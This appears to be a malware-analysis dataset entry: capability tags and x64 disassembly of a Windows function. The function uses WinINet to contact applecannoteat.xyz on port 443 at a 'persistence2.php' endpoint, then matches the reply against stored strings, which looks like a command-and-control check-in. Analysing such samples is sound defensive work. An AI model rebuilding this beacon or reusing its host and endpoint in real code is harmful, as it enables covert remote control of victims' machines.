Function at 0x140002820
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x460
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor esi, esi
lea rcx, str.MyAgent
xor r9d, r9d
mov dword [rsp + 0x40], esi
xor r8d, r8d
mov dword [rsp + 0x20], esi
xor edx, edx
mov edi, esi
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbp, rax
test rax, rax
je 0x140002ada
mov qword [rsp + 0x38], rsi
lea rdx, str.applecannoteat.xyz
mov dword [rsp + 0x30], esi
mov r8d, 0x1bb
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rbx, rax
test rax, rax
je 0x140002a9c
mov qword [rsp + 0x38], rsi
lea r8, str._persistence2.php_getresultXP9ozmyip
mov dword [rsp + 0x30], 0x800000
lea rdx, [0x140006684]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rdi, rax
test rax, rax
je 0x140002a93
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x140002a8a
lea r9, [rsp + 0x40]
mov r8d, 0x3ff
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000296f
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14000296f
cmp rax, 0x400
jae 0x140002b19
lea rdx, [rsp + 0x50]
mov byte [rsp + rax + 0x50], sil
lea rcx, [0x140006688]
call fcn.1400024b0
lea r9, [rsp + 0x40]
mov r8d, 0x3ff
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002928
lea rdx, [0x14000668c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a77
lea rdx, [0x140006690]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a77
lea rdx, [0x140006694]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a77
lea rdx, [0x140006698]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a77
lea rdx, [0x14000669c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a77
lea rdx, [0x1400066a0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a77
lea rdx, [0x1400066a4]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a77
lea rdx, [0x1400066a8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a77
lea rdx, [0x1400066ac]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a77
lea rdx, [0x1400066b0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a77
lea rcx, str.error_n
call fcn.1400024b0
jmp 0x140002aee
lea rcx, str.correct_n
call fcn.1400024b0
mov eax, 1
jmp 0x140002af0
lea rsi, str.HttpSendRequest_failed_with_error__d_n
jmp 0x140002aa3
lea rsi, str.HttpOpenRequest_failed_with_error__d_n
jmp 0x140002aa3
lea rsi, str.InternetConnect_failed_with_error__d_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rsi
call fcn.1400024b0
test rdi, rdi
je 0x140002ac1
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test rbx, rbx
je 0x140002acf
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140002aee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpen_failed_with_error__d_n
call fcn.1400024b0
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003e90
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140004028
int3